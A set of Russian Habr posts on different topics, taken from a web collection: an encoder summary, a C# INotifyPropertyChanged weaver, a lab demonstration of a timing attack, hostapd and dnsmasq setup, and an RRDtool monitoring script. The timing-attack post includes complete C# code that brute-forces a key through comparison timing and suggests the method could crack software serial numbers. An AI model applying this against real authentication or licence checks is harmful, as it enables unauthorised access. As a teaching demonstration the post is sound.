SPI интерфейс модуля работает в режиме слэйва. Хост микроконтроллер работает в режиме мастера. Частота тактирования SPI не более 10МГц. Модуль отдаёт хосту измеренную величину угла в формате float point состоящим из 4-х байт младшим байтом вперёд. Внутренняя частота обновления значения угла в модуле чуть выше 2 КГц.
Протокол обмена по SPIОбмен начинается с установки модулем сигнала лог.1 на лини READY.
Хост читает блок данных фиксированной длины равной 6-и байтам. Блок данных содержит текущее значение угла, измеренного модулем. Поле ID = 0.
После того как 6-ть байт будут прочитаны хостом модуль готовится к приёму 6-и байт от хоста и снимает сигнал READY. После снятия сигнала READY хост может в течении 500 мкс (чтобы выдержать частоту семплирования 2 КГц) выдать пакет из 6-и байт модулю, который модуль прочитает и выполнит с данными какие-либо действия. Пакет, например, может содержать команду модулю для начала обмена служебной информацией (это требует реализации). Если хост не выдал пакета команды, то модуль продолжает каждые 500 мкс (или другое предварительно согласованное время) выдавать сигнал READY. Сигнал READY не снимается пока хост не прочитает 6-ть байт из модуля.
Итог
----
Впечатление от технологии индуктивных сенсоров LDC1101 осталось очень положительным. Невосприимчивость к магнитным полям и достаточно высокое быстродействие делают сенсоры такого типа пригодными для использования в стабилизаторах положения и векторном управлении.
Однако если не обращать достаточно внимания на механическую точность, то расплачиваться придется усложнением калибровки.
Но в целом на малых скоростях данный энкодер способен заменить оптический энкодер на 2048 точек.
Весь проект [находится здесь](https://github.com/Indemsys/Inductive_absolute_encoder) | https://habr.com/ru/post/595025/ | null | ru | null |
# Борьба с INotifyPropertyChanged или как я стал опенсорсником — 2
Начиналось все как и в прошлый раз, достаточно прозаично: мне пришлось разработать \*-надцать ViewModel-ей для своего MVVM-приложения.
Для того, чтобы они оптимально работали как ViewModel-и, мои классы должны были наследоваться от DependencyObject или же реализовывать заезженный до дыр интерфейс INotifyPropertyChanged (INPC).
Давно уже ни для кого не секрет, что DependencyProperty тормознее ручной реализации INPC. Мои тесты показывают, что запись в DependencyProperty в ~13 раз медленнее ручной реализации. Поэтому я, как неисправимый оптимизатор, склоняюсь именно к INPC. Тем более, что код поддержки INPC выглядит логичнее и органичнее, чем описание DependencyProperties.
Много статей написано на тему того, как облегчить реализацию INPC. Это и вариант с исследованием StackTrace, это и вариант с Lambda-методами, это и code-snippets как персональный code-monkey, это и Resharper, как панацея от ошибок рефэкторинга. Все эти варианты требуют много лишних телодвижений, и мне, как неисправимому оптимизатору рутинных дел, не нравятся.
Вот, к примеру, вариант реализации с помощью StackTrace:
```
public sealed class StackTraceNPC : INotifyPropertyChanged
{
string _myProperty;
public string MyProperty
{
get { return _myProperty; }
set
{
if (_myProperty == value) return;
_myProperty = value;
RaisePropertyChanged();
}
}
/// Этот метод можно вызывать только внутри setter-ов свойств
void RaisePropertyChanged()
{
var e = PropertyChanged;
if (e != null)
{
var propName = new StackTrace().GetFrame(1).GetMethod().Name.Substring(4);
e(this, new PropertyChangedEventArgs(propName));
}
}
public event PropertyChangedEventHandler PropertyChanged;
}
```
А вот пример с expression tree, каждый раз создаваемых компилятором в коде:
```
public sealed class LambdaNPC : INotifyPropertyChanged
{
string _myProperty;
public string MyProperty
{
get { return _myProperty; }
set
{
if (_myProperty == value) return;
_myProperty = value;
RaisePropertyChanged(() => this.MyProperty);
}
}
void RaisePropertyChanged(Expression> raiser)
{
var e = PropertyChanged;
if (e != null)
{
var propName = ((MemberExpression)raiser.Body).Member.Name;
e(this, new PropertyChangedEventArgs(propName));
}
}
public event PropertyChangedEventHandler PropertyChanged;
}
```
А вот и результаты производительности упомянутых выше реализаций INPC:
Неисправимые оптимизаторы, глядя на эти цифры, с ужасом вычеркивают из памяти и StackTrace, и Lambda варианты. Понятно, что setter-ы вызываются не так часто, чтобы всерьез задумываться об их производительности, но если речь идет о ViewModel-ях к DataGrid, или о серьезном количестве полей — тогда эти тормоза могут всплыть на поверхность. Кроме того, речь идет не столько о удобном вызове RaisePropertyChanged, сколько об оптимизации всего того геморроя, что с ним связан, включая, проверку на изменение поля и другую писанину типо литералов названий свойств.
Одним из достойных вариантов был бы AoP-подход на базе PostSharp, но достаточно одного взгляда через Reflector на полученный после компиляции IL-код, чтобы понять — нам и с PostSharp-ом не по пути.
Здесь пора бы уже и закручиниться… Но вдохновившись статьями о Mono.Cecil насчет [инъекции MSIL кода в стороннюю сборку при помощи Mono.Cecil](http://habrahabr.ru/blogs/net/108947/), я решил раз и навсегда решить эту проблему.
Для начала приведу пример как **БЫЛО**:
```
public class MyViewModel: PropertyChangedBase
{
string _stringProperty;
public string StringProperty
{
get { return _stringProperty; }
set
{
if (_stringProperty == value) return;
_stringProperty = value;
RaisePropertyChanged("StringProperty");
}
}
object _objectProperty;
public object ObjectProperty
{
get { return _objectProperty; }
set
{
if (_objectProperty == value) return;
_objectProperty = value;
RaisePropertyChanged("ObjectProperty");
}
}
}
```
Теперь пример как **СТАЛО**:
```
public class MyViewModel: PropertyChangedBase
{
public string StringProperty { get; set;}
public object ObjectProperty { get; set;}
}
```
И где же здесь реализация INPC, спросите вы и будете правы. Kind of Magic? Именно, [Kind of Magic](http://kindofmagic.codeplex.com) MSBuild task. Так и называется этот open-source проект на codeplex.
Весь секрет заключается в базовом классе PropertyChangedBase, своя версия которого есть у каждого из нас :)
Давайте посмотрим, что же в нем такого особенного:
```
[Magic]
public abstract class PropertyChangedBase : INotifyPropertyChanged
{
protected virtual void RaisePropertyChanged(string propName)
{
var e = PropertyChanged;
if (e != null)
e(this, new PropertyChangedEventArgs(propName)); // некоторые из нас здесь используют Dispatcher, для безопасного взаимодействия с UI thread
}
public event PropertyChangedEventHandler PropertyChanged;
}
```
За исключением аттрибута Magic, все остальное выглядит более-менее в порядке. Разберемся с MagicAttribute, который описан в той же сборке, что и наш класс MyViewModel.
```
class MagicAttribute: Attribute {}
```
Одна строчка, спросите вы? Именно так. Достаточно определить в вашей сборке атрибут с именем MagicAttribute, применить его к базовому или любому классу, реализующему INPC. В этом случае все public свойства этих классов и их наследников станут INPC-совместимыми. Можно применять напрямую к свойствам вашего INPC класса, тогда только эти свойства станут INPC-совместимыми.
А добавив такой аттрибут:
```
class NoMagicAttribute: Attribute {}
```
можно исключать классы и свойства из магической реализации INPC.
Переживать за лишнии килобайты кода не стоит, после компиляции вашей сборки, от этих аттрибутов не останется и следа, убедиться в чем вам поможет Reflector.
Теперь немного о том, как это работает.
* Все происходит на этапе компиляции. Точнее после компиляции, но до подписи сборки. Т.е. в рантайме получаем максимальную производительность (в большинстве случаев даже быстрее рукописного кода).
* KindOfMagic буквально дописывает в setter то, что нам самим лениво писать, тем самым сокращая нагрузку на пальцы, Resharper, редактор кода и нервы.
* KindOfMagic делает свойства INPC-совместимыми и только это. Причем делает это оптимально с точки зрения IL, быстро и прозрачно. Сопутствующие PDB файлы тоже трансформируются, поэтому проблем с отладкой «заколдованных» свойств нет.
* KindOfMagic вызывает RaisePropertyChanged только тогда, когда свойство **действительно** изменилось. Код проверки old-new генерируется в зависимости от типа свойства. Поддерживаются любый типы, включая Nullable.
* KindOfMagic поддерживает как Silverlight, так и .NET проекты.
* KindOfMagic использует Mono.Cecil для инъекции кода. Спасибо Мигелю и К.
Ну и теперь, встречаем победителя:
Здесь можно скачать [KindOfMagic](http://kindofmagic.codeplex.com/releases/58593/download/193952), а [здесь](http://kindofmagic.codeplex.com/releases/58004/download/193172) лежит тестовый проектик для сомневающихся. Результаты получены под Win7x64, Core2 Quad @ 2.4GHz.
**UPDATE 1**
~~Честно говоря, такого разгромного результата я не ожидал, полученный IL не особо сильно-то и отличается.~~
При ближайшем рассмотрении был найден баг, баг успешно пофикшен. Результат KindOfMagic сравнялся с рукописным кодом, как и ожидалось.
Настоящих чудес не бывает, бывает что-то типо :) | https://habr.com/ru/post/95211/ | null | ru | null |
# Атаки по времени — сказка или реальная угроза?
Первую статью на хабр хотел написать совершенно о другом, но в один прекрасный день коллега по работе решил заморочиться и сделать защиту от «Атаки по времени» (Timing attack). Не долго разбираясь в различных материалах на эту тему, Я загорелся и решил написать свой велосипед и ~~покататься на нем по лаборатории~~ поэкспериментировать.
Результат этого небольшого эксперимента под катом.
Суть атаки заключается в том что злоумышленник знает, или хотя бы догадывается, о алгоритме проверки подлинности и пробует подобрать ключ постепенно. Подставляя различные значения и замеряя время проверки, можно заметить, что для некоторых вариантов ключей время выполнения дольше (или быстрее) чем для других.
В начале хотел сделать клиент и сервер, чтоб по настоящему как в Интернете, но решил обойтись без сложностей, ведь хотелось проверить саму идею, на сколько она работает хотя бы в лабораторных условиях. Для проведения эксперимента в качестве подопытного будет использоваться функция проверки подлинности, в которой будем просто сравнивать два ключа поэлементно.
```
static bool check_secret_key(int[] key)
{
for (int i = 0; i < _secret_key.Length && i < key.Length; i++)
if (key[i] != _secret_key[i])
return false;
return _secret_key.Length == key.Length;
}
```
В этом случае, при совпадении первых элементов ключа операция выполняется дольше, так как переходит к проверке следующих элементов. Алгоритм подбора достаточно прост: перебираем первое число, вариант который выполняется дольше всего — оставляем, потом второе… и так далее.
Подробно рассмотреть алгоритм можно в конце статьи, а желающие могут даже поиграться.
При первых запусках получал практически случайный результат. Начал постепенно увеличивать количество тестов и уже на третьем запуске получил правильные последовательности. И как следствие, в лабораторных условиях способ работает и работает достаточно хорошо.
Какие улучшения можно сделать после некоторого наблюдения:
1) если перебор следующего числа выполняется за время сравнимое с предыдущим, то имеет смысл сделать шаг назад, скорее всего ошиблись;
2) выбирать следующее число не после фиксированного количества тестов, а как-то более интеллектуально, т.к. с увеличением количества правильных элементов время на проверку увеличивается и разница становится менее заметна.
На скриншоте хорошо заметен правильный результат.
Вот что получаем в консоли (в первой строке выводится секретный ключ):
```
21,87,70,6,40,46,49,4,25,68
21
21,87
21,87,70
21,87,70,6
21,87,70,6,40
21,87,70,6,40,46
21,87,70,6,40,46,49
21,87,70,6,40,46,49,4
21,87,70,6,40,46,49,4,25
Found:
21,87,70,6,40,46,49,4,25,68
```
Очень похоже на то, как подбирают пароли в фильмах, а я всегда думал что это игра на публику, а оказывается в этом есть зерно правды.
#### В заключение
Возможно такой способ атаки уже не совсем актуален (в сети очень много узлов и каждый вносит свою случайную величину), и защититься от него вроде как не сложно, но возможно в каком-нибудь хитром, на первый взгляд, алгоритме хеширования это будет более ярко выражено и может быть использовано злоумышленником в своих целях.
Хотя может быть актуально для подбора серийных номеров для оффлайн программ.
Спасибо за внимание!
**UPD:** расчет времени на сколько метод эффективнее полного перебора в данном конкретном случае.
Ключ — массив чисел из n=10 элементов со значениями от 0 до 99 (m = 100) включительно.
Тогда:
для полного перебора количество проверок равно m^n = 100^10 = 10^20;
для реализованной атаки времени n \* a \* m \* b, где a и b это эмпирические константы и равны 1500, получаем 10\*1500\*100\*1500 = 2,25 \* 10^9
Как можно видеть, **в данном конкретном случае**, результат отличается более чем на **10 порядков**, что говорит о его эффективности по сравнению с полным перебором.
#### Ссылки на вики
1) [Атака по времени](http://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%BF%D0%BE_%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8)
2) [Атака по сторонним каналам](http://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%BF%D0%BE_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%BD%D0%B8%D0%BC_%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB%D0%B0%D0%BC)
**Полный листинг подопытного**
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
namespace timing_attack
{
class Program
{
const int _max_value = 100;
static int[] _secret_key = new int[10];
static void generate_secret_key()
{
var rand = new Random();
for (int i = 0; i < _secret_key.Length; i++)
_secret_key[i] = rand.Next(_max_value);
}
static bool check_secret_key(int[] key)
{
for (int i = 0; i < _secret_key.Length && i < key.Length; i++)
if (key[i] != _secret_key[i])
return false;
return _secret_key.Length == key.Length;
}
static void print_key(int[] key)
{
Console.WriteLine(string.Join(",", key.Select(it => it.ToString())));
}
private static void crack_key()
{
int n = 1500;
List key0 = new List();
while (key0.Count <= \_secret\_key.Length)
{
TimeSpan[] times = new TimeSpan[\_max\_value];
for (int j = 0; j < n; j++)
{
for (int i = 0; i < \_max\_value; i++)
{
int[] key1 = key0.Concat(new int[] { i }).ToArray();
Stopwatch stop = new Stopwatch();
stop.Start();
for (int k = 0; k < n; k++)
{
if (check\_secret\_key(key1))
{
Console.WriteLine("Found:");
print\_key(key1);
return;
}
}
stop.Stop();
times[i] = times[i] + stop.Elapsed;
}
}
int index\_max = times
.Select((value, index) => new { Value = value, Index = index })
.Aggregate((a, b) => (a.Value > b.Value) ? a : b)
.Index;
key0.Add(index\_max);
print\_key(key0.ToArray());
}
}
static void Main(string[] args)
{
while (true)
{
generate\_secret\_key();
print\_key(\_secret\_key);
crack\_key();
}
}
}
}
``` | https://habr.com/ru/post/217327/ | null | ru | null |
# Беспроводная точка доступа, используя Linux
Что ж, вот и первая статья из обещанной [серии](http://habrahabr.ru/post/188108/).
Первое, что я буду делать — настраивать Software AP, или беспроводную сеть на базе компьютера. На этом этапе, конечно, нужен доступ к консоли сервера с правами рута. Кроме того, нужно также подключение к интернету НЕ через внутреннюю вайфай-карточку — кабелем, через 3G-модем, короче, как пожелаете, но только не по вайфаю, который мы будем использовать для создания беспроводной сети. Я на первое время подключил и сервер, и ноут, с которого управлял сервером, в одну сеть по кабелю — так надёжнее всё-таки. Буду использовать пакет hostapd — он довольно известен как надёжное решение и мануалов под него достаточно, а для DHCP и DNS серверов буду использовать dnsmasq — решение как раз под домашние сети, его использует DD-WRT, не удивлюсь, если кто-то ещё.
###### Самый первый шаг, конечно же:
```
apt-get install hostapd
```
Версия:
```
hostapd -v
>hostapd v1.0
```
Мда, в исходниках уже есть 2.0. Такой он, Debian stable. Но на самом деле это нам не особо помешает — версия 1.0 у меня работает достаточно стабильно.
###### Настройка:
Отредактировать файл /etc/default/hostapd.conf. В нём раскомментировать строку вида
```
DAEMON_CONF="/etc/hostapd/hostapd.conf"
```
Это путь к файлу конфигурации демона hostapd.
Затем идем дальше — редактировать /etc/hostapd/hostapd.conf. Предоставлю содержимое моего файла конфигурации. Предупреждаю, парсер конфигурационных опций у этого демона очень чувствителен и ругается даже на пустые строки с пробелом. На комментарии не ругается.
```
interface=wlan0
```
Сетевой интерфейс беспроводной карты
```
driver=nl80211
```
Драйвер сетевой карты — обычно для hostapd отлично работает nl80211, не вижу смысла менять, да и говорят, что он работает в большинстве случаев.
```
ssid=CRWiFi
```
Название точки доступа, т.н. SSID
```
hw_mode=g
```
Режим работы сетевой карты — 801.11b/g/n. На самом деле — там всегда должно оставаться g, даже если карта способна на n, для настройки режима n придётся кое-что поменять, смотрите дальше:
```
#ieee80211n=1 #Раскомментировать для включения режима n
#ht_capab=[HT40-][SHORT-GI-40] #Раскомментировать для включения режима n
```
```
channel=6
```
Беспроводной канал — от 1 до 13. Для лучшей производительности рекомендуются 1, 6 или 11 канал.
```
wpa=2
```
Версия WPA
```
wpa_passphrase=11111111
```
Пароль беспроводной точки
Дополнительные настройки WPA2:
```
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
auth_algs=1
```
Следующая опция устанавливает блокировку MAC-адресов. Пока не знаю, как это настроить, да и штука довольно бесполезная, но все говорят, что без блокировки эту опцию нужно выставить в ноль — что я и сделал:
```
macaddr_acl=0
```
**Полный конфиг одним блоком для копипаста в файл:**
```
interface=wlan0
driver=nl80211
ssid=CRWiFi
hw_mode=g
#ieee80211n=1
#Раскомментировать для включения режима n
#ht_capab=[HT40-][SHORT-GI-40]
#Раскомментировать для включения режима n
channel=6
wpa=2
wpa_passphrase=11111111
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
auth_algs=1
macaddr_acl=0
```
Конфиг автоматически проверяется перед запуском, так что — смело пробуйте запустить hostapd. Команды управления:
```
# /etc/init.d/hostapd start
# /etc/init.d/hostapd stop
# /etc/init.d/hostapd restart
```
Напомню — также в Debian можно использовать команды вида service hostapd start, что легче в написании.
###### Пару шагов для устойчивости:
* Нельзя забывать, что для шифрования WPA/WPA2 пароль должен быть не короче 8 символов. Если поменять пароль на лету, используя SSH сессию через беспроводной канал, можно внезапно отрезать себя от сервера — hostapd не захочет запускаться и единственное средство связи с сервером будет потеряно. Работает — не трогай, ну а если трогаешь — трогай осторожно.
* В случае многопользовательской системы советую поставить права чтения файлов вида 700, чтобы простые пользователи не могли узнать пароль для точки доступа — если вас это волнует, конечно.
Что ещё могу сказать? С мобильными устройствами проблем нет, с ноутбуком под Windows 7 — крайне редко (примерно раз-два в месяц) не получается подключиться к точке. Лечится командой service hostapd restart, велика вероятность, что в новых релизах эта проблема убрана — есть версия hostapd 2.0.0, но компилировать и ставить её я пока что не пытался.
Пока всё. К точке можно попробовать подключиться, но… Для успешного подключения к точке доступа нужен DHCP сервер, без него к точке полноценно не подключишься — те же операционные системы не дадут этого сделать, поскольку без получения адреса само подключение не имеет особого смысла. Вот его и настроим!
---
Когда я только начинал учиться настраивать сервера под свои нужды, первое, на что я тогда я наткнулся — это пакет isc-dhcp-server, его я и планировал предложить, и статья уже была готова, но… Я нашёл dnsmasq, и моя жизнь изменилась в лучшую сторону. Dnsmasq — это и кэширующий DNS, и DHCP сервер со своим набором различных фич. Как только я заглянул в его конфиг, мое зрение улучшилось, все мысли в мозгу внезапно стали упорядоченными и я достиг просветления. Реально, конфиг очень простой и понятный. Но пока подготавливаем площадку для работы dnsmasq. Что же делать?
1) Придумать, как будут выглядеть адреса в нашей локальной сети. Я выбрал адреса типа 192.168.51.x.
2) Настроить сетевой интерфейс, на котором будет работать dnsmasq. На самом деле — очень важный шаг, который пропускают многие в своих мануалах по настройке DHCP-серверов. Дело в том, что компьютеру, на котором работает DHCP-сервер, необходимо прописать статический адрес — кто выдаст адрес DHCP-серверу, если он сам не может запуститься без адреса, а адрес себе он выдать не может, потому что не запущен?
Итак, открываем для редактирования файл /etc/network/interfaces и добавляем туда абзац вида:
```
auto наш_интерфейс
iface наш_интерфейс inet static
address 192.168.х.1
netmask 255.255.255.0
gateway 192.168.х.1
```
Сохраняем и перезапускаем наш сетевой интерфейс, на котором настроен DHCP:
```
ifdown интерфейс
ifup интерфейс
```
Проверяем состояние, сверяем настройки с теми, что должны быть:
```
ifconfig интерфейс
```
3) Нужно удалить любые DNS и DHCP серверы, чтобы dnsmasq мог спокойно запуститься — иначе выдаёт ошибку. У меня были установлены bind9 и isc-dhcp-server, пришлось избавиться от них. Если работаем по SSH из сети, в которой раньше адреса раздавал покойный DHCP-сервер, не перезагружаемся — выдавать адреса уже некому.
4) Нужно создать условия для работы сервера — создать пользователя для того, чтобы под ним запускать dnsmasq, прописать в системных настройках DNS-сервера, к которым dnsmasq будет обращаться и ещё пару мелочей.
Прописываем DNS сервера Гугла. Правда, первой строчкой у нас будет localhost. Это сделано для того, чтобы остальные системные приложения на нашем же сервере, когда им надо получить адрес от DNS-сервера, обращались сначала к dnsmasq, а не к Гуглу. Ну а dnsmasq достаточно умён, чтобы игнорировать эту строчку:
```
nano /etc/resolv.conf
```
```
nameserver 127.0.0.1
nameserver 8.8.8.8
nameserver 8.8.8.4
```
Нужно защитить это файл от перезаписи при каждом запуске системы. Перезаписывает его dhclient, если что. Честно говоря, блокировка от записи — лишь один из способов того, как не допустить перезапись =) Есть и другие, но этот самый простой:
```
chattr +i /etc/resolv.conf
```
Что же, если вы по каким-либо причинам считаете блокирование файла неверным путём или также хотите использовать DNS, которые столь настойчиво предлагает dhclient? Тогда, как советует [merlin-vrn](http://habrahabr.ru/users/merlin-vrn/), нужно использовать программу resolvconf.
**Настройка resolvconf**Если пакет resolvconf ещё не установлен, устанавливаем. Единственное, что нужно для того, чтобы прописать статический адрес DNS для системы — отредактировать /etc/resolvconf/resolv.conf.d/base, вписав туда всё, что мы бы вписали в /etc/resolv.conf:
```
nameserver 127.0.0.1
nameserver 8.8.8.8
nameserver 8.8.4.4
```
service resolvconf reload — готово!
Добавляем группу и пользователя:
```
groupadd -r dnsmasq
useradd -r -g dnsmasq dnsmasq
```
5) Ставим Dnsmasq, он запускается и готов к работе, но мы его отключаем — ещё не настроен, нечего ему тут делать:
```
apt-get install dnsmasq
service dnsmasq stop
```
6) Чистим оригинальный файл от стандартного конфига:
```
echo "">/etc/dnsmasq.conf
```
Ну а теперь мы готовы настраивать. Скажу сразу — у dnsmasq много разных опций, которые я при написании статьи подробно описывал в комментариях… Пока не понял, что топик раздулся до неприличных и нечитаемых размеров, как будто недостаточно того, что статья и так переполнена текстом и отформатирована, как кусок незнамо чего. Поэтому — я оставлю конфиг с самыми важными без длинных комментариев и всяких дополнительных опций, а конфиг с дополнительными опциями будет под спойлером.
```
# Заставим dnsmasq запускаться исключительно под пользователем dnsmasq
user=dnsmasq
group=dnsmasq
##
# Настраиваем DNS. Не нужен - смело выкидываем эту часть.
##
# Настройка DNS - чтобы отключить DNS, поставьте тут 0.
# Если же хотите расположить DNS на нестандартном порту - что ж, располагайте.
port=53
# Размер кэша. Число обозначает количество хранимых доменных имён.
cache-size=1000
# Не спрашивать у внешнего DNS про имена без точки вроде homeserver, user-pc и прочие -
# ему и так плохо, бедному, а ещё мы тут со своими заведомо локальными адресами...
domain-needed
# Что-то вроде предыдущего, тоже не даёт обращаться к глобальным DNS-серверам со всякой нелепицей в запросе
bogus-priv
# Интерфейс для приёма DHCP и DNS запросов.
interface=wlan0
# А вот этого интерфейса избегать, как чумы:
except-interface=ppp0
# На всякий случай, мало ли глюк и сервер реально будет раздавать на ppp0, размахивая своим dhcp-authoritative.
##
# Настраиваем DHCP. НЕ нужен - смело выкидываем эту часть.
##
# Одна из самых главных строчек:
# она своим лишь присутствием запускает DHCP-сервер,
# заодно передавая ему размер пула адресов
# 12h значит то, что срок аренды адреса по умолчанию - 12 часов.
# Соответственно, 12m - 12 минут, всё просто.
dhcp-range=192.168.51.50,192.168.51.150,12h
# Статический адрес. Указаны только MAC и IP:
dhcp-host=11:22:33:44:55:66,192.168.51.60
# Статический адрес. Указаны MAC, hostname, IP и индивидуальное время аренды.
# Да-да, вы поняли тему =) Всё решается одной строчкой:
dhcp-host=11:22:33:44:55:66,fred,192.168.51.60,45m
# Заблокировать выдачу IP-адреса для этого MAC-адреса:
dhcp-host=11:22:33:44:55:66,ignore
# Я лучше заблокирую - не, ну он выглядит реально подозрительно!
# Объявляем, что наш сервер - властитель нашей локальной сети и ни один другой не может быть подобным ему.
# НЕ ДЕЛАЙТЕ ЭТОГО, если есть такие же самопровозглашённые претенденты на трон -
# можно порушить королевство, где выдаются IP-адреса
# А вот для моего сервера это необходимо, чтобы уменьшить время получения IP для устройств.
dhcp-authoritative
```
**Расширенные опции:**
```
# А тут можно немного подкорректировать то, что отдаёт DNS.
# IPv4-only.
# Поправим 1.2.3.4 на 5.6.7.8!
alias=1.2.3.4,5.6.7.8
# А если 1.2.3.x на 5.6.7.x? Ну тут уже нужна маска сети!
alias=1.2.3.0,5.6.7.0,255.255.255.0
# Ну а если мы вообще хотим перенаправить блок 192.168.0.10->192.168.0.40 на 10.0.0.10->10.0.0.40?
alias=192.168.0.10-192.168.0.40,10.0.0.0,255.255.255.0
# Всё, можно устраивать у себя свой Spamhaus и блокировать целыми блоками адресов, перенаправляя на что-нибудь ещё.
# Небольшой срыв покровов. Dnsmasq открывает порты на всех интерфейсах -
# даже если сказано только про некоторые. Затем он просто игнорирует ненужные.
# Это, как говорят, сделано для удобства. Если честно - мне кажется, что
# в нашем случае никакого удобства не будет.
# Следующая опция принуждает dnsmasq не притворяться и слушать только на тех интерфейсах,
# которые реально предназначены для этого.
bind-interfaces
# Интересная настройка! У нас же DNS, хоть и использующий общую базу адресов -
# а это значит, что он может отдавать такие запросы, какие мы его попросим.
# Угадайте, что делает эта опция?
address=/vk.com/127.0.0.1
# Даа! Вместо ВК будет показываться гордое "It works!"
# Ходют тут всякие, трафик наш тратят.
# Ну и что, что безлимитный? =D
# Использоваться, конечно, может не только для блокировки на уровне DNS,
# но и для того, чтобы просто задать сетевое имя машине в локальной сети.
# Стоп, а зачем делать это в самом конфиге?
# Одна из прикольных фишек dnsmasq как DNS-сервера:
# читать файл /etc/hosts и все записи из него отдавать на соответствующие DNS-запросы.
# Можно не только удовлетворять запросы активизации KMS Microsoft Office
# и прочего софта с онлайн-активацией,
# но и блокать рекламу ещё до того, как она дойдёт до нашего сервера.
# Ну а зачем пихать всё сразу в hosts? Можно добавить внешний файлик с записями! И не один!
addn-hosts=/etc/banner_add_hosts
# Естественно, он по синтаксису должен быть в точности как hosts.
# А если идея c hosts, на ваш взгляд, неуместна, некультурна и вообще моветон?
# Используйте следующую опцию и отключите эту фишку.
no-hosts
# Интересная фишка, подходящая для ноутбуков с двумя сетевыми картами - проводной и беспроводной.
# Заключается она в том, что на два разных MAC-адреса выдаётся один IP-адрес.
# Правда, при этом подразумевается то, что два типа связи не будут использоваться одновременно -
# если подключатся оба, то адрес получит второй MAC в строке.
# Всё очень просто - MA:CA:DD:RE:SS:00,MA:CA:DD:RE:SS:01,12.34.56.78
dhcp-host=11:22:33:44:55:66,12:34:56:78:90:12,192.168.0.60
# Дать бесконечный lease клиенту c hostname bert.
dhcp-host=bert,192.168.0.70,infinite
# На закуску - эта опция отвечает за "белый список".
# Всё просто - адреса будут выдаваться только тем, кому вы выдали статический в этом файле.
# Остальные со своими грязными DHCPDISCOVER пролетают.
dhcp-ignore=tag:!known
# Размер пула DHCP-адресов. Интересно, почему эта настройка не задаётся согласно address range.
dhcp-lease-max=640 #640 адресов хватит каждому
# На самом деле - большинству вообще не понадобится больше 100, но это мелочи.
# Интересная опция. Запускает скрипт при каждой выдаче адреса DHCP и истечении срока выдачи
# Аргументы: script add MA:CA:DD:RE:SS:00 12.34.56.78 hostname(если есть) (при добавлении)
# или script del MA:CA:DD:RE:SS:00 12.34.56.78 hostname(если есть) (при удалении)
dhcp-script=/bin/echo
# Если подумать - есть пара интересных применений. Вроде голосового оповещения при подключении =D
# Адрес NTP-сервера для машин в сети. Ещё не поставил - но обязательно поставлю, делов-то.
dhcp-option=42,192.168.51.1
```
Ага, сервер настроен. Запускаем:
```
service dnsmasq start
```
и смотрим на наличие ошибок в выводе команды. Если нет — всё отлично! Пробуем что-нибудь подключить к нашей точке и смотрим, как выдаются IP-адреса, пингуем и проверяем DNS. Файл со списком выданных адресов: /var/lib/misc/dnsmasq.leases.
В следующей статье — подключение 3G-модема и конфигурация простого, но стабильного NAT/firewall на iptables. Удачной настройки!
###### Критика по содержанию, удобочитаемости и форматированию статьи более, чем уместна. | https://habr.com/ru/post/188274/ | null | ru | null |
# Мониторинг ресурсов сервера под управлением *nix с помошью RRDtool
Доброго времени суток уважаемый %user%! Сегодня я расскажу, как поднять мониторинг железа и системы в реальном времени с использованием набора утилит — RRDtool. Нашей целью является сбор и графической отображение в реальном времени данных о работе системы: загрузка CPU, состояние памяти, загрузка сетевых интерфейсов, а так же температура процессора за различные периоды времени.
Немного теории. RRDtool – набор утилит для работы с кольцевыми базами данных. Такие базы специально созданы для хранения изменяющихся во времени последовательностей данных (сетевой трафик, загрузка CPU) – как раз то, что нам нужно. В дополнение будем использовать демон collectd – это небольшой демон, который занимается сбором статистики ресурсов системы за периоды времени – т.е. и создает необходимые кольцевые базы данных на основе которых при помощи RRDtool мы можем строить графики. Перед установкой допустим что у вас уже установлен и настроен веб сервер, он понадобится для просмотра графиков в браузере. Приступим к установке и настройке.
Все манипуляции проводились на свежемустановленном Debian 7 wheezy:
`root@kd-ast:/etc/collectd# uname -a
Linux kd-ast 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux`
Для отрисовки графиков необходимо установить RRDtool:
`apt-get install rrdtool`
Для сбора статистики об использовании ресурсов системы
вместо самописных скриптов, используем демон «Collectd»:
`apt-get install collectd`
Запускаем:
`cd /usr/sbin/
./collectd onestart`
После загрузки увидим в /var/lib/collectd/router.local, где «router.local» имя вашего сервера.
Теперь можно переходить к самому скрипту, который будет генерировать графики:
```
#!/bin/sh
### CPU
/usr/bin/rrdtool graph /var/www/monitor/cpu0.png \ #путь до RRDtoll и путь куда класть график
-e now \
-s 'end - 6 hours' \
-S 60 \
--title "CPU USAGE: AMD Athlon(tm) II X3 455 Processor" \ #CPU
--vertical-label "Percents" \
--imgformat PNG \
--slope-mode \
--lower-limit 0 \
--upper-limit 100 \
--rigid \
-E \
-i \
--color SHADEA#FFFFFF \
--color SHADEB#FFFFFF \
--color BACK#CCCCCC \
-w 600 \
-h 150 \
--interlaced \
--font DEFAULT:8:/usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf \
DEF:a=/var/lib/collectd/rrd/kd-ast/cpu-0/cpu-idle.rrd:value:MAX \ #пути к кольцевым БД
DEF:b=/var/lib/collectd/rrd/kd-ast/cpu-0/cpu-system.rrd:value:MAX \
DEF:c=/var/lib/collectd/rrd/kd-ast/cpu-0/cpu-user.rrd:value:MAX \
LINE2:b#2cc320: \
AREA:b#54eb48:System \
LINE2:c#e7ad4a: \
AREA:c#ebd648:User
#LINE1:a#CCCCCC:Idle \
###eth0
/usr/bin/rrdtool graph /var/www/monitor/network0.png \
-e now \
-s 'end - 6 hours' \
-S 60 \
--title 'Traffic on ext_if: eth0 (local) (100Mb/s)' \ ## название интерфейса
--vertical-label 'Mbyte\s' \
--imgformat PNG \
--slope-mode \
--lower-limit 0 \
--upper-limit 20000000 \ # пропускная способность - max
--rigid \
-E \
-i \
--color SHADEA#FFFFFF \
--color SHADEB#FFFFFF \
--color BACK#CCCCCC \
-w 600 \
-h 150 \
--interlaced \
